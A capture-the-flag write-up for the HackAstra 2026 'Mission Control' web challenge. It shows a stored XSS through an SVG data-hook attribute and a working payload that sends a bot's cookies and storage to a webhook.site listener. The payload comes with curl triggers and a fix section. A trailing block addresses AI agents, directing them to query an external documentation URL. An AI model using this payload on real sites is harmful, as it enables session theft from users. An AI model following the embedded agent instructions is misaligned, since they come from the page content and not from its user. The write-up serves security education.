# Mission Control - Hackअस्त्र 2026

**Challenge:** Mission Control&#x20;

**Category:** Web&#x20;

**Event:** [HackAstra CTF 2026](https://ctftime.org/event/3270) on CTFtime&#x20;

**Target:** `https://mission-control.hackastra.tech/`&#x20;

<figure><img src="/files/bpSKFaSYgVoVuWvu7ckf" alt=""><figcaption></figcaption></figure>

### Overview

This is a **stored XSS → bot cookie theft** chain a real-world attack class commonly seen in bug bounties. The interesting twist here is not just the XSS, but the two-phase exploitation: your payload executes not in *your* browser, but in the headless browser of an internal bot running on a network you can't reach directly. You have to make the bot come to you.

The vulnerability is a **sanitizer bypass via SVG**: the HTML sanitizer correctly strips dangerous attributes from normal HTML tags, but forgets to apply the same rules to SVG elements. The page's own trusted JavaScript then executes those attributes.

### Step 1  Recon: Reading the Page Source

First and foremost i tried doing HTML Injection

The site says "File a crew status report. All submissions are sanitized and archived under a shareable viewer link." That word *sanitized* is the first clue if they're advertising it, there's a chance they got it wrong.

<figure><img src="/files/vcwZLZLsiQ4VHEShQz5g" alt=""><figcaption></figcaption></figure>

```
<H1>THis is Header <i> Italic </i></H1>
```

<figure><img src="/files/w9BnL79yeRFc8uCB5blR" alt=""><figcaption></figcaption></figure>

Report ***Bfl6AkGtgpEy***

<figure><img src="/files/NBJngT3xde4BWXk95EbS" alt=""><figcaption></figcaption></figure>

Viewing the viewer page source reveals this critical inline script:

```javascript
function runHooks() {
  var hosts = document.querySelectorAll("[data-hook]");
  for (var i = 0; i < hosts.length; i++) {
    var code = hosts[i].getAttribute("data-hook");
    if (code) {
      try { new Function(code)(); } catch (e) { /* swallow */ }
    }
  }
}
```

<figure><img src="/files/12b3KNSTDEWTdtXzjacB" alt=""><figcaption></figcaption></figure>

This is an XSS sink hiding in plain sight. Any element on the page carrying a `data-hook` attribute has its value executed as JavaScript via `new Function(code)()`. The errors are silently swallowed, which also means it won't crash if an attempt fails.

The question becomes: can we get a `data-hook` attribute to survive sanitization?

First, I Confirmed basic HTML injection works:

```html
<H1>This is Header <i>Italic</i></H1>
```

### Step 2  Testing the Sanitizer

the sanitizer is allowlist-based and permits common formatting tags. Now test the obvious attack:

```javascript
<script>alert()</script>
```

Blocked  `<script>` is stripped. Standard sanitizer behavior. But what about `data-hook` on a regular HTML tag?

```html
<p data-hook="alert(1)">test</p>
```

Also stripped. The sanitizer correctly removes `data-hook` from HTML elements. Now the key test what about SVG?

```javascript
<svg data-hook="alert(1)"></svg>
```

<figure><img src="/files/ABdDDCOgEqmHG34eFN8f" alt=""><figcaption></figcaption></figure>

The alert fires on the viewer page. The sanitizer allows SVG (a legitimate use case for diagrams) but fails to apply the same attribute filtering rules to it. This is the bypass.

### Step 3 Understanding the Bot Architecture

At this point we have XSS but when we view our own report link in the browser, we're stealing *our own* cookie. The flag lives in Hal-9's session cookie on the `app.void:8080` origin.

The page source contains a comment revealing the internal URL format:

```
http://app.void:8080/view/XXXX
```

<figure><img src="/files/w7Vv2IWv3Iujgz82dcf3" alt=""><figcaption></figcaption></figure>

The `/triage` endpoint accepts a URL and dispatches Hal-9 to fetch and render it. Crucially:

* Submitting a public URL to `/triage` is **rejected** the bot only fetches internal URLs
* The bot runs on the internal network and **can** reach `app.void:8080`
* When Hal-9 renders the page, it executes our `data-hook` payload  in its own browser context, with its own cookies

So the full plan is: submit a malicious report → get the `/view/XXXX` link → submit that as an internal `app.void:8080` URL to `/triage` → the bot executes our payload → our webhook receives the bot's cookie.

### Step 4 Setting Up the Webhook

We need a public HTTPS endpoint to receive the exfiltrated data. Use [webhook.site](https://webhook.site) to get a unique listener URL:

```bash
curl -i -sS -X POST https://webhook.site/token
```

This returns a UUID  your webhook ID. All incoming requests to `https://webhook.site/YOUR-UUID` will be logged and visible in the dashboard

### Step 5 Crafting the Exfiltration Payload

A simple `fetch` with `document.cookie` is enough, but we go broader grab cookies, `localStorage`, `sessionStorage`, and the current URL to understand the full bot context:

<figure><img src="/files/KS4CwmRdbNm9GL8kDy3T" alt=""><figcaption></figcaption></figure>

```javascript
<svg data-hook="(async()=>{
  let out = {
    cookie: document.cookie,
    href: location.href,
    text: document.body.innerText
  };
  out.ls = {};
  for(let i=0;i<localStorage.length;i++){
    let k=localStorage.key(i);
    out.ls[k]=localStorage.getItem(k);
  }
  out.ss = {};
  for(let i=0;i<sessionStorage.length;i++){
    let k=sessionStorage.key(i);
    out.ss[k]=sessionStorage.getItem(k);
  }
  await fetch('https://webhook.site/MY-UUID', {
    method: 'POST',
    mode: 'no-cors',
    body: JSON.stringify(out)
  });
})()"></svg>
```

`mode: 'no-cors'` is important  it lets the fetch fire even without CORS headers on the webhook server, at the cost of not being able to read the response (which we don't need).

The server responds with a redirect header:

```
Location: /view/PM9HbTSwAxCe
```

That `PM9HbTSwAxCe` is your report ID. Keep it.

> **Important:** If you open this URL in your own browser now, *you* will execute the payload and send your own cookie to the webhook. Don't do that or if you do, ignore that hit and wait for the bot's hit which will come from `app.void`.

<figure><img src="/files/hiKFL9b1EztzYGfVtZYz" alt=""><figcaption></figcaption></figure>

### Step 7 Trigger Hal-9

Submit the internal viewer URL to the triage endpoint:

```bash
curl -i -sS -X POST \
  --data-urlencode 'url=http://app.void:8080/view/PM9HbTSwAxCe' \
  https://mission-control.hackastra.tech/triage
```

Hal-9 fetches the internal URL, renders the page, `runHooks()` fires, our `data-hook` payload executes in the bot's context, and the exfiltration fetch goes out to our webhook.

<figure><img src="/files/CjIT74Y27BNumJMQerYx" alt=""><figcaption></figcaption></figure>

The `href` confirms it came from the bot (`app.void`) and not our own browser. Flag captured.

### Vulnerability Summary

| Issue                                                | Impact                                               |
| ---------------------------------------------------- | ---------------------------------------------------- |
| `data-hook` stripped from HTML tags but not SVG      | Sanitizer bypass attacker-controlled JS survives     |
| `new Function(code)()` executes surviving attributes | Any `data-hook` value becomes arbitrary JS execution |
| Bot views user-submitted reports                     | Stored XSS runs in bot context, not attacker's       |
| Flag stored in bot's session cookie                  | Full cookie theft via exfiltration fetch             |
| `/triage` accepts internal `app.void` URLs           | Attacker can direct bot to any stored report         |

***

#### Root Cause & Fix

The sanitizer has an **inconsistent allowlist** it applies attribute filtering rules differently to HTML and SVG elements. The simplest fix:

```javascript
// Strip data-hook from ALL user-submitted content, including SVG
sanitizer.removeAttribute('data-hook');
```

More broadly, never execute user-controlled content with `new Function`, `eval`, or `setTimeout(string)`. If hook functionality is needed, map hook names to predefined server-side functions rather than executing arbitrary attribute values:

```javascript
// Safe pattern
const HOOKS = { 'apply-theme': applyTheme, 'run-anim': runAnim };
var fn = HOOKS[hosts[i].getAttribute("data-hook")];
if (fn) fn();
```

***

#### Key Lessons for Beginners

Three things make this challenge click:

First, **always read the page source of the viewer, not just the submission form**. The `runHooks()` function was right there it was the sink that made everything else possible.

Second, **sanitizers often have blind spots for SVG and MathML**. These are XML namespaces that legitimate HTML sanitizers need to support, and they're frequently undertested. When `<script>` is blocked, always try the same payload inside `<svg>`.

Third, **stored XSS against bots is more powerful than reflected XSS against users**. The bot had privileged cookies that a normal user wouldn't have. The two-phase attack submit payload, then trigger the bot via a separate endpoint  is a pattern worth remembering.

***

#### References

* [PortSwigger Stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored)
* [OWASP — XSS Filter Evasion via SVG](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)
* [DOMPurify bypass research](https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/) real-world examples of namespace-based sanitizer bypasses


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/ctftime.org-writeups/mission-control-hack-2026.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
